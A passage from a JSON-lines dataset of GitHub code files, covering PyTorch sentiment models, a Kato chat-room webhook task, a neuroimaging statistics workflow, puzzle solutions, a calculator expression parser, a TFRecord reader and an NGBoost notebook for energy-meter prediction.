embeddings of your choice\n# for example http://nlp.stanford.edu/data/glove.6B.zip\n\n# 1 - point to the pretrained embeddings file (must be in /embeddings folder)\nEMBEDDINGS = os.path.join(EMB_PATH, \"glove.6B.50d.txt\")\n\n# 2 - set the correct dimensionality of the embeddings\nEMB_DIM = 50\n\nEMB_TRAINABLE = False\nBATCH_SIZE = 128\nEPOCHS = 50\nDATASET = \"MR\" # options: \"MR\", \"Semeval2017A\"\nhidden_dim = 50\n\n\n# if your computer has a CUDA compatible gpu use it, otherwise use the cpu\n\n#DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nDEVICE = torch.device(\"cpu\")\n########################################################\n# Define PyTorch datasets and dataloaders\n########################################################\n\n# load word embeddings\n\nword2idx, idx2word, embeddings = load_word_vectors(EMBEDDINGS, EMB_DIM)\n\n\n# load the raw data\nX_train, y_train, X_test, y_test = load_MR()\n\n\nle = LabelEncoder() #EX1\n\n######################## EX 6.6.1 ##########################################\n#______________________ bow-tfidf features _________________________________\n\n\ncount_vect = CountVectorizer()\nX_train_counts = count_vect.fit_transform(X_train)\nkeys = list(count_vect.vocabulary_.keys())\n\ntfidf_transformer = TfidfTransformer()\nX_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)\n\nvec = X_train_tfidf.tocoo()\nfeature_names=count_vect.get_feature_names()\ntuples = zip(vec.col, vec.data)\n\ntfidf_vals = []\nfeature_vals = []\nfor idx, score in tuples:\n\n #keep track of feature name and its corresponding tfidf value\n tfidf_vals.append(round(score, 4)) \n feature_vals.append(feature_names[idx])\n\n#create a tuples of feature,score\n#results = zip(feature_vals,score_vals)\nresults= {}\nfor idx in range(len(feature_vals)):\n results[feature_vals[idx]]=tfidf_vals[idx]\n\ntfidfs = results\n\n\nfor word in tfidfs:\n if word in word2idx:\n embeddings[word2idx[word]] = embeddings[word2idx[word]]*tfidfs[word]\n \n\n\nle.fit(y_train) #EX1\ny_train = le.transform(y_train) #EX1\nle.fit(y_test)#EX1\ny_test = le.transform(y_test) # EX1\nn_classes = le.classes_.size # EX1 - LabelEncoder.classes_.size\n\n#print(\"The first 10 labels for MR Dataset mapped into numbers: \", y_train[:10]) #EX1\n\n# Define our PyTorch-based Dataset\ntrain_set = SentenceDataset(X_train, y_train, word2idx)\ntest_set = SentenceDataset(X_test, y_test, word2idx)\n\n\n# EX4 - Define our PyTorch-based DataLoader\ntrain_loader = torch.utils.data.DataLoader(train_set, BATCH_SIZE, shuffle=True) # EX7 \ntest_loader = torch.utils.data.DataLoader(test_set, BATCH_SIZE, shuffle=False) # EX7 \n\n#############################################################################\n# Model Definition (Model, Loss Function, Optimizer)\n#############################################################################\n\n\"\"\"\n######################## EX 3.1.1 ##########################################\n#______________________ u=[mean(E)||max(E)] _______________________________\n\nmodel1 = BaselineDNN(output_size=n_classes, # model1 is u=[mean(E)||max(E)]\n embeddings=embeddings, #EX 3.1.1\n trainable_emb=EMB_TRAINABLE)\n\nmodel1.to(DEVICE)\ncriterion = torch.nn.BCEWithLogitsLoss()\nparameters1 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model1.parameters():\n if p.requires_grad:\n parameters1.append(p)\n\noptimizer1 = torch.optim.Adam(parameters1, lr=0.0001)\n\n######################## EX 3.2.1 ##########################################\n#______________________ u=hN _______________________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel2 = LSTM(EMB_DIM, hidden_dim, n_classes,BATCH_SIZE, embeddings) # model2 is u=hN\nmodel2.to(DEVICE)\n\nparameters2 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model2.parameters():\n if p.requires_grad:\n parameters2.append(p)\n\noptimizer2 = torch.optim.Adam(parameters2, lr=0.0001)\n\n######################## EX 3.2.2 ##########################################\n#_______________________ u= [hN||mean(E)||max(E)] __________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel3 = LSTM(EMB_DIM, hidden_dim, n_classes,BATCH_SIZE, embeddings) # model3 is u= [hN||mean(E)||max(E)]\nmodel3.to(DEVICE)\n\nparameters3 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model3.parameters():\n if p.requires_grad:\n parameters3.append(p)\n\noptimizer3 = torch.optim.Adam(parameters3, lr=0.0001)\n\n######################## EX 3.3.1 ##########################################\n#_______________________ u=sum(ai*ei) ______________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel4 = SelfAttention( batch_first=False, non_linearity=\"tanh\", embeddings=embeddings) # model4 is u=sum(ai*ei) \n#We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nparameters4 = []\nfor p in model4.parameters():\n if p.requires_grad:\n parameters4.append(p)\n\noptimizer4 = torch.optim.Adam(parameters4, lr=0.0001)\n\n######################## EX 3.3.2 ##########################################\n#_______________________ u=sum(ai*hi) ______________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel5 = SelfAttention( batch_first=False, non_linearity=\"tanh\", embeddings=embeddings) # model5 is u=sum(ai*hi) \n#We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nparameters5 = []\nfor p in model5.parameters():\n if p.requires_grad:\n parameters5.append(p)\n\noptimizer5 = torch.optim.Adam(parameters5, lr=0.0001)\n\n######################## EX 3.4.1 ##########################################\n#_______________________ u=bi([hN||mean(E)||max(E)]) _______________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel6 = Bidirectional_LSTM(embedding_dim=EMB_DIM, hidden_dim = hidden_dim, label_size = n_classes, batch_size = BATCH_SIZE, embeddings = embeddings, bidirectional = True ) # model6 is u=bi([hN||mean(E)||max(E)])\n\nparameters6 = []\nfor p in model6.parameters():\n if p.requires_grad:\n parameters6.append(p)\n\noptimizer6 = torch.optim.Adam(parameters6, lr=0.0001)\n\"\"\"\n######################## EX 3.4.2 ##########################################\n#_______________________ u=bi(sum(ai*hi))___________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel7 = BiAttentionLSTM(embedding_dim=50, hidden_dim=50, label_size=n_classes, batch_size=128, embeddings=embeddings, bidirectional=True, batch_first=False, non_linearity=\"tanh\")\nparameters7 = []\nfor p in model7.parameters():\n if p.requires_grad:\n parameters7.append(p)\n\noptimizer7 = torch.optim.Adam(parameters7, lr=0.0001)\n\n#############################################################################\n# Training Pipeline\n#############################################################################\n\ntrain_losses = []\ntest_losses = []\n\nfor epoch in range(1, EPOCHS + 1):\n # train the model for one epoch\n train_dataset(epoch, train_loader, model7, criterion, optimizer7)\n\n # evaluate the performance of the model, on both data sets\n train_loss, (y_train_gold, y_train_pred) = eval_dataset(train_loader,\n model7,\n criterion)\n \n train_losses.append(train_loss)\n \n test_loss, (y_test_gold, y_test_pred) = eval_dataset(test_loader,\n model7,\n criterion)\n \n #f.write(\"y_test_gold is:\"+str(y_test_gold)+'\\n')\n #f.write(\"y_test_pred is:\"+str(y_test_pred)+'\\n')\n test_losses.append(test_loss)\n\nprint(\"train accuracy\", accuracy_score(y_train_gold, y_train_pred))\nprint(\"train f1 score\", f1_score(y_train_gold, y_train_pred))\nprint(\"train recall\", recall_score(y_train_gold, y_train_pred)) \nprint(\"test accuracy\", accuracy_score(y_test_gold, y_test_pred))\nprint(\"test f1\", f1_score(y_test_gold, y_test_pred))\nprint(\"test recall\", recall_score(y_test_gold, y_test_pred))\n#f.close()\nfig = plt.figure()\nplt.plot(train_losses, label=\"train data\")\nplt.plot(test_losses, label=\"test data\")\nfig.suptitle('BoW-Model7 u=bi(sum(ai*hi)) Loss - epochs train and test set', fontsize=10)\nplt.xlabel('Epochs', fontsize=16)\nplt.ylabel('Running Loss', fontsize=16)\nplt.legend()\nplt.show()\n\n","repo_name":"christinetkn/Natural-Language-Processing","sub_path":"project 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30418490759","text":"import json\nimport httplib2\n\n\nclass send_to_kato(NebriOS):\n KATO_HTTP_POST_FORMAT = 'https://api.kato.im/rooms/%s/simple'\n \n # Fill in your room id \n KATO_ROOM_ID = ''\n KATO_HTTP_POST_ENDPOINT = KATO_HTTP_POST_FORMAT % (KATO_ROOM_ID,)\n\n listens_to = ['send_to_kato']\n \n\n def check(self):\n return u'%s' % self.send_to_kato\n\n def action(self):\n data = {\n 'renderer': 'markdown',\n 'text': u'%s' % self.send_to_kato\n }\n\n headers = {\n 'content-type': 'application/json'\n }\n \n h = httplib2.Http('.cache')\n (resp, content) = h.request(\n self.KATO_HTTP_POST_ENDPOINT,\n 'POST',\n body=json.dumps(data),\n headers=headers\n )\n","repo_name":"adamhub/nebri","sub_path":"kato.py","file_name":"kato.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"18"} +{"seq_id":"26953135919","text":"import pydra\nfrom pydra import Workflow\n\nfrom clinica.pydra.engine import clinica_io\n\n\n@clinica_io\ndef build_core_workflow(name: str = \"core\", parameters={}) -> Workflow:\n \"\"\"Build the core workflow for the Statistics Volume pipeline.\n\n Parameters\n ----------\n name : str, optional\n The name of the workflow. Default=\"core\".\n\n parameters : dict, optional\n Dictionary of parameters to be used\n within the workflow.\n Default={}.\n\n Returns\n -------\n wf : Workflow\n The core workflow.\n \"\"\"\n from os.path import abspath, dirname, exists, join, pardir\n from typing import Any\n\n import numpy as np\n\n import clinica.pydra.statistics_volume_correction.task as utils\n from clinica.pydra.tasks import download_mni_template_2009a\n from clinica.utils.spm import spm_standalone_is_available, use_spm_standalone\n\n if spm_standalone_is_available():\n use_spm_standalone()\n\n query = {\"pattern\": parameters[\"t_map\"] + \"*\", \"description\": \"statistics t map\"}\n\n input_spec = pydra.specs.SpecInfo(\n name=\"Input\",\n fields=[\n (\"_graph_checksums\", Any),\n (\"t_map\", dict, query, {\"mandatory\": True}),\n ],\n bases=(pydra.specs.BaseSpec,),\n )\n wf = Workflow(name, input_spec=input_spec)\n\n for threshold in (\"FWE\", \"FDR\"):\n wf.add(\n utils.peak_correction_task(\n name=f\"{threshold}_peak_correction_task\",\n t_map=wf.lzin.t_map,\n t_threshold=parameters[f\"{threshold}p\"],\n )\n )\n for threshold in (\"FWE\", \"FDR\"):\n wf.add(\n utils.cluster_correction_task(\n name=f\"{threshold}_cluster_correction_task\",\n t_map=wf.lzin.t_map,\n t_thresh=parameters[\"height_threshold\"],\n c_thresh=parameters[f\"{threshold}c\"],\n )\n )\n\n wf.add(download_mni_template_2009a(name=\"download_mni_template\"))\n\n for threshold in (\"FWE\", \"FDR\"):\n for kind in (\"peak\", \"cluster\"):\n t_thresh_key = f\"{threshold}p\" if kind == \"peak\" else \"height_threshold\"\n c_thresh = parameters[f\"{threshold}c\"] if kind == \"cluster\" else np.nan\n wf.add(\n utils.produce_figures_task(\n name=f\"produce_figure_{threshold}_{kind}_correction\",\n nii_file=getattr(\n wf, f\"{threshold}_{kind}_correction_task\"\n ).lzout.nii_file,\n template=wf.download_mni_template.lzout.mni_template_file,\n type_of_correction=threshold,\n t_thresh=parameters[t_thresh_key],\n c_thresh=c_thresh,\n n_cuts=parameters[\"n_cuts\"],\n )\n )\n wf.add(\n utils.generate_output_task(\n name=f\"save_figure_{kind}_correction_{threshold}\",\n t_map=wf.lzin.t_map,\n figs=getattr(\n wf, f\"produce_figure_{threshold}_{kind}_correction\"\n ).lzout.figs,\n correction_name=f\"{threshold}{kind[0]}\",\n )\n )\n wf.set_output([(\"figs\", wf.produce_figure_FDR_peak_correction.lzout.figs)])\n return wf\n","repo_name":"aramis-lab/clinica","sub_path":"clinica/pydra/statistics_volume_correction/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"18"} +{"seq_id":"12829046220","text":"import random\nimport re\n\n# --- Constants --\nINPUT_FILE = \"../input/input.txt\"\nREGEX = r\"^([a-zA-Z]+) => ([a-zA-Z]+)$\"\n\n# --- Variables ---\n_map = {}\npairs = []\nmolecule = \"\"\nfirst = True\n\n# --- Read and Parse the input file --\nfile = open(INPUT_FILE, \"r\")\nwhile True:\n line = file.readline()\n if not line: break\n line = line.strip()\n\n if len(line) == 0:\n first = False\n else:\n if first:\n cap = re.search(REGEX, line)\n if cap[1] not in _map: _map[cap[1]] = []\n _map[cap[1]].append(cap[2])\n pairs.append((cap[1], cap[2]))\n else:\n molecule = line\nfile.close()\n\n# --- Puzzle 1 ---\nregex = \"(\" + \"|\".join(_map.keys()) + \")\"\n_set = set()\npattern = re.compile(regex)\nfor match in pattern.finditer(molecule):\n i = match.start()\n j = match.end()\n v = match[0]\n for x in _map[v]:\n s = molecule[0:i] + x + molecule[j:]\n _set.add(molecule[0:i] + x + molecule[j:])\nprint(f\"1. Distinct molecules can be created: {len(_set):,d}\")\n\n# --- Puzzle 2 ---\ntarget = molecule[:]\nsteps = 0\nwhile target != \"e\":\n change = False\n for p in pairs:\n if p[1] in target:\n target = target.replace(p[1], p[0], 1)\n change = True\n break\n\n if not change:\n random.shuffle(pairs)\n target = molecule[:]\n steps = 0\n continue;\n\n steps += 1\nprint(f\"2. Fewest number of steps: {steps:,d}\")\n","repo_name":"jcanop/aoc","sub_path":"2015/19/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30033514192","text":"import re\nfrom src.math_library.math_library import MathLibrary\n\nclass ExpressionParser:\n \"\"\"Parse string containing numbers and operation characters.\n eg. \"2+3.4-5*10/7.01^4\"\n Returns array where every item is either a float number of character representing operation.\n \"\"\"\n\n def solveString(self, string):\n \"\"\"!\n String consisting of numbers and operators eg \"12*3*(34-20/4)\" is calculated and returned as float\n\n @param string String with numbers and operators.\n @return Float result\n \"\"\"\n\n items = self._convert_to_depth(string) # parse parentheses\n items = self._parse_meaning(items) # convert to floats\n return float(self._solve(items))\n\n def _push_parentheses(self, obj, result, depth):\n \"\"\"!\n Helper function for _convert_to_depth. It appends to result object by defined depth.\n @param obj object which will be appended to result\n @param result depth array\n @param depth integer\n \"\"\"\n while depth:\n result = result[-1]\n depth -= 1\n\n result.append(obj)\n\n def _convert_to_depth(self, s):\n \"\"\"!\n Convert string to array of string characters by its depth defined by parentheses.\n Result is multi-level depth array.\n\n eg. \"10+(2+3)\" will return [\"1\", \"0\", \"+\", [\"2\", \"+\", \"3\"]]\n\n @param s String which will be converted to multilevel array\n @return multilevel array eg. [\"1\", \"0\", \"+\", [\"2\", \"+\", \"3\"]]\n \"\"\"\n groups = []\n depth = 0\n\n try:\n for char in s:\n if char == '(':\n self._push_parentheses([], groups, depth)\n depth += 1\n elif char == ')':\n depth -= 1\n else:\n self._push_parentheses(char, groups, depth)\n except IndexError:\n raise ValueError('Parentheses mismatch')\n\n if depth > 0:\n raise ValueError('Parentheses mismatch')\n else:\n return groups\n\n def _parse_meaning(self, items):\n result = []\n\n number_str = \"\"\n state = 0\n for i in range(0, len(items)):\n if isinstance(items[i], list):\n fromChild = self._solve(self._parse_meaning(items[i].copy()))\n number_str = number_str + str(fromChild)\n state = 1\n\n # finite state machine - TODO: Create image\n elif state == 0:\n if items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n elif items[i] == '-':\n state = 2\n number_str = number_str + '-'\n elif state == 1:\n if items[i].isnumeric() or items[i] == '.':\n # state stays the same\n number_str = number_str + items[i]\n elif (not items[i].isnumeric()) and (items[i] != '.'):\n result.append(self._str_to_float(number_str)) # append number\n number_str = \"\"\n state = 3\n result.append(items[i]) # append operation\n\n elif state == 2:\n if items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n else:\n number_str = number_str + \"-\" # because double - - after each other -> one operation, one for number\n elif state == 3:\n if items[i] == '-':\n state = 2\n number_str = number_str + '-'\n elif items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n\n if number_str:\n result.append(self._str_to_float(number_str))\n\n return result\n\n def _str_to_float(self, string):\n # remove double minuses\n string = re.sub('--', '', string)\n try:\n return float(string)\n except ValueError:\n return 0.0\n\n def _solve(self, items):\n \"\"\"\n Solve function takes items from a given list of a math expression\n and executes math library functions according to Arithmetic precedence rules\n\n :param items: (items from list)\n :return result: (final value)\n \"\"\"\n\n library = MathLibrary() # Initialization of Math library\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"!\": # Checks for factorial, converts to int value\n items[i] = library.factorial(items[i - 1])\n del items[i - 1]\n item_count -= 1\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"^\" or \"√\": # Checks for power and square root\n if items[i] == \"^\":\n items[i] = library.powerOf(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"√\":\n items[i] = library.squareroot(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"*\" or \"/\": # Checks for multiplication and division\n if items[i] == \"*\":\n items[i] = library.multiplication(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"/\":\n items[i] = library.division(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"+\" or \"-\": # Checks for plus and minus\n if items[i] == \"+\":\n items[i] = library.sum(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"-\":\n items[i] = library.difference(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"%\": # Checks for percent\n items[i] = library.percent(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"mod\": # Checks for modulo\n items[i] = library.modulo(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n result = items[0]\n return result\n","repo_name":"MigelusMaximus/ODPAD.github.io","sub_path":"calculator-1.0/src/expression_parser.py","file_name":"expression_parser.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40343829580","text":"import tensorflow as tf\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\n\ndef read_and_decode(tfrecords_file, batch_size):\n filename_queue = tf.train.string_input_producer([tfrecords_file])\n\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n img_features = tf.parse_single_example(\n serialized_example,\n features={\n 'label': tf.FixedLenFeature([], tf.int64),\n 'image_raw': tf.FixedLenFeature([], tf.string),\n })\n image = tf.decode_raw(img_features['image_raw'], tf.uint8)\n\n image = tf.reshape(image, [208, 208, 3])\n label = tf.cast(img_features['label'], tf.int32)\n image_batch, label_batch = tf.train.shuffle_batch([image, label],\n batch_size=batch_size,\n num_threads=64,\n capacity=20000,\n min_after_dequeue=3000)\n return image_batch, tf.reshape(label_batch, [batch_size])\n\n\ndef plot_images(images, labels):\n '''plot one batch size\n '''\n for i in np.arange(0, 25):\n plt.subplot(5, 5, i + 1)\n plt.axis('off')\n plt.title(str(labels[i]), fontsize=14)\n plt.subplots_adjust(top=1.5)\n plt.imshow(images[i])\n plt.show()\n\n\ntfrecords_file = 'F:/Traindata/faceTF/208x208(2).tfrecords'\nimage_batch, label_batch = read_and_decode(tfrecords_file, batch_size=25)\n\nwith tf.Session() as sess:\n i = 0\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n\n try:\n while not coord.should_stop() and i < 1:\n image, label = sess.run([image_batch, label_batch])\n plot_images(image, label)\n i += 1\n\n except tf.errors.OutOfRangeError:\n print('done!')\n finally:\n coord.request_stop()\n coord.join(threads)\n","repo_name":"wangtianrui/wider_face_code","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26466364204","text":"def fun1(x,y):\r\n if y <=x: \r\n return 1+fun1(x-y,y)\r\n else:\r\n return 0\r\n\r\nx=int(input(\"Enter first number:\"))\r\ny=int(input(\"Enter second number:\"))\r\nres=fun1(x,y)\r\nprint(res)\r\n\r\n\"\"\" OUTPUT->\r\nEnter first number:100\r\nEnter second number:20\r\n5 \"\"\"\r\n","repo_name":"ParagChandraRai/PYTHON","sub_path":"LAB4/Q9REC.py","file_name":"Q9REC.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34348217705","text":"N = int(input())\nscore = 0\n\nfor i in range(N):\n line = input()\n TC = []\n for a in line:\n TC.append(a)\n \n for k in range(len(TC)):\n if TC[k] == 'O':\n score += 1\n TC[k] = score\n else:\n score = 0\n TC[k] = score\n print(sum(TC))\n score = 0","repo_name":"wnsals411/Self-Study-BaekJoon-","sub_path":"5.1차원 배열/6.OX퀴즈.py","file_name":"6.OX퀴즈.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71427031080","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n for filename in filenames:\n\n print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\n\n\n\nimport numpy as np\n\nimport pandas as pd\n\nfrom sklearn.model_selection import StratifiedKFold\n\nfrom tqdm import tqdm_notebook as tqdm\n\nimport os\n\nimport gc\n\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n# Original code from https://www.kaggle.com/gemartin/load-data-reduce-memory-usage by @gemartin\n\n# Modified to support timestamp type, categorical type\n\n# Modified to add option to use float16 or not. feather format does not support float16.\n\nfrom pandas.api.types import is_datetime64_any_dtype as is_datetime\n\nfrom pandas.api.types import is_categorical_dtype\n\n\n\ndef reduce_mem_usage(df, use_float16=False):\n\n \"\"\" iterate through all the columns of a dataframe and modify the data type\n\n to reduce memory usage. \n\n \"\"\"\n\n start_mem = df.memory_usage().sum() / 1024**2\n\n print('Memory usage of dataframe is {:.2f} MB'.format(start_mem))\n\n \n\n for col in df.columns:\n\n if is_datetime(df[col]) or is_categorical_dtype(df[col]):\n\n # skip datetime type or categorical type\n\n continue\n\n col_type = df[col].dtype\n\n \n\n if col_type != object:\n\n c_min = df[col].min()\n\n c_max = df[col].max()\n\n if str(col_type)[:3] == 'int':\n\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n\n df[col] = df[col].astype(np.int8)\n\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n\n df[col] = df[col].astype(np.int16)\n\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n\n df[col] = df[col].astype(np.int32)\n\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n\n df[col] = df[col].astype(np.int64) \n\n else:\n\n if use_float16 and c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n\n df[col] = df[col].astype(np.float16)\n\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n\n df[col] = df[col].astype(np.float32)\n\n else:\n\n df[col] = df[col].astype(np.float64)\n\n else:\n\n df[col] = df[col].astype('category')\n\n\n\n end_mem = df.memory_usage().sum() / 1024**2\n\n print('Memory usage after optimization is: {:.2f} MB'.format(end_mem))\n\n print('Decreased by {:.1f}%'.format(100 * (start_mem - end_mem) / start_mem))\n\n \n\n return df\n#We need to install ngboost first ;-)\n\nfrom ngboost.ngboost import NGBoost\n\nfrom ngboost.learners import default_tree_learner\n\nfrom ngboost.scores import MLE\n\nfrom sklearn.metrics import mean_squared_error\n\nfrom ngboost.distns import Normal\npath = '/kaggle/input/ashrae-feather-format-for-fast-loading/'\n\nfiles = os.listdir(path)\n\nprint(files)\nfiles = ['building_metadata.feather','test.feather','weather_test.feather','weather_train.feather','train.feather','sample_submission.feather']\n\nbmeta = pd.read_feather(path+files[0])\n\ntest = pd.read_feather(path+files[1])\n\nwtest = pd.read_feather(path+files[2])\n\nwtrain = pd.read_feather(path+files[3])\n\ntrain = pd.read_feather(path+files[4])\ntest['is_train'] = 0\n\ntrain['is_train'] = 1\n\nwtotal = pd.concat([wtrain,wtest], ignore_index=True)\n\ntotal = pd.concat([train,test],ignore_index=True)\n\np_u = bmeta['primary_use'].unique().astype(str)\n\np_u_dict={i :idx for idx,i in enumerate(p_u)}\n\nbmeta.primary_use = bmeta.primary_use.map(p_u_dict)\n\nbmeta.primary_use = bmeta.primary_use.astype(int)\n\ntotal = total.merge(bmeta[['site_id','building_id','primary_use','square_feet']], on='building_id',how='left')\n\ntimestamp = total.groupby(['site_id','timestamp'],as_index=False).mean()[['site_id','timestamp']]\n\nwtotal = timestamp.merge(wtotal,on=['site_id','timestamp'],how='left')\n\n#Interpolation (nearest) -> (backward fill)\n\nfor i in tqdm(wtotal.site_id.unique()):\n\n wtotal.update(wtotal.loc[wtotal.site_id==i].interpolate('nearest',limit_direction='both'))\n\n wtotal.update(wtotal.loc[wtotal.site_id==i].fillna(method='bfill'))\n\ntotal = total.merge(wtotal, on=['site_id','timestamp'],how='left')\n\ntotal['M'] = total.timestamp.dt.month\n\ntotal['D'] = total.timestamp.dt.dayofweek\n\ntotal['H'] = total.timestamp.dt.hour\n\ntotal['Q'] = total.timestamp.dt.quarter\n\ntotal['W'] = total.timestamp.dt.week\n\ntotal = reduce_mem_usage(total)\ntrain = total.loc[total.is_train==1]\n\ntest = total.loc[total.is_train==0]\n\ntrain['log1p_meter_reading'] = np.log1p(train.meter_reading)\n\ntrain = train.query('not (building_id <= 104 & meter == 0 & timestamp <= \"2016-05-20\")')\ntrain.columns\n# Select features to use for training.\n\ntg = ['log1p_meter_reading']\n\ndo_not_use = tg + ['meter','is_train'\n\n ,'timestamp'\n\n ,'meter_reading'\n\n ,'cloud_coverage'\n\n ,'precip_depth_1h'\n\n ,'sea_level_pressure'\n\n ,'precip_depth_1_hr'\n\n ,'row_id'\n\n ,'wind_direction']\n\ncols = [c for c in train.columns if c not in do_not_use]\nprint('NULL CHECKING')\n\nprint('#####Train#####')\n\nprint(train[cols].isnull().sum())\n\nprint('#####Test#####')\n\nprint(test[cols].isnull().sum())\ndel total\n\ndel wtrain\n\ndel wtest\n\ndel bmeta\ndef Ngboost_training(df,tdf,meter):\n\n folds = 2\n\n seed = 7\n\n shuffle = False\n\n kf = StratifiedKFold(n_splits = folds, shuffle=shuffle , random_state=seed)\n\n #Down-sampling\n\n df = df.loc[(df.meter==meter)&(df.H==0)]\n\n tdf = tdf.loc[tdf.meter==meter]\n\n prediction = np.zeros(tdf.shape[0])\n\n i = 0\n\n ngb = NGBoost(n_estimators=50, learning_rate=0.4,\n\n Dist=Normal,\n\n Base=default_tree_learner,\n\n natural_gradient=True,\n\n minibatch_frac=0.6,\n\n Score=MLE(),verbose=False)\n\n for tr,val in tqdm(kf.split(df, df['building_id']),total=folds):\n\n print(f'fold:{i+1}')\n\n i+=1\n\n print(f'Target : {tg[0]}// Meter : {meter}// # of features : {len(cols)}')\n\n print(f'Train_size : {len(tr)} Validation_size : {len(val)}')\n\n \n\n ngb.fit(df[cols].iloc[tr].values, df[tg[0]].iloc[tr].values)\n\n \n\n Y_preds = ngb.predict(df[cols].values)\n\n Y_dists = ngb.pred_dist(df[cols].values)\n\n \n\n MSE = mean_squared_error(Y_preds, df[tg[0]].values)\n\n print('MSE : ', MSE)\n\n NLL = -Y_dists.logpdf(df[tg[0]].values.flatten()).mean()\n\n print('NLL(Negative Log Likelihood)', NLL)\n\n \n\n #Test Prediction\n\n test_preds = ngb.predict(tdf[cols].values)\n\n print(f'Predicted Size : {len(test_preds)}')\n\n prediction += test_preds\n\n gc.collect()\n\n prediction = prediction/folds\n\n print('End')\n\n return prediction,ngb\nsub = pd.read_feather('/kaggle/input/ashrae-feather-format-for-fast-loading/sample_submission.feather')\nsub.head()\npred0,ngb0 = Ngboost_training(train,test,0)\n\ngc.collect()\n\ntest.loc[test['meter'] == 0, 'meter_reading'] = np.clip(np.expm1(pred0), a_min=0, a_max=None)\n\npred1,ngb1 = Ngboost_training(train,test,1)\n\ngc.collect()\n\ntest.loc[test['meter'] == 1, 'meter_reading'] = np.clip(np.expm1(pred1), a_min=0, a_max=None)\n\npred2,ngb2 = Ngboost_training(train,test,2)\n\ngc.collect()\n\ntest.loc[test['meter'] == 2,'meter_reading'] = np.clip(np.expm1(pred2), a_min=0, a_max=None)\n\npred3,ngb3 = Ngboost_training(train,test,3)\n\ngc.collect()\n\ntest.loc[test['meter'] == 3, 'meter_reading'] = np.clip(np.expm1(pred3), a_min=0, a_max=None)\nsub['meter_reading'] = test['meter_reading'].values\n\nsub.to_csv('submission.csv', index=False, float_format='%.4f')\nsub.head(10)\nsub.describe().astype(int)\nprint('Meter 